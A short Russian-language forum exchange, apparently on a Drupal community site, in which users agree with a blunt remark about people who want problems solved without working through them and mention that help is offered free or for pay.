Желающий слышать, да услышит. Спасибо за то, что Денис высказывает то, что многие из нас стесняются вписать из головы после эмоциональных порывов. Здесь есть еще те, кто не хочет вникать и мыслить в направлении алгоритмов и решений проблем, но при этом хочет их решить - этот порыв я думаю не к Вам. Вам мы всегда поможем, когда бесплатно, когда за денежку, не пугайтесь и не бери это на свой счет близко к горячему сердцу и широкой душе.

Аватар пользователя sas@drupal.org
sas@drupal.org 4 года назад
ХулиGUN написал:
Алексей, ну разве я не прав?

Прав - 200%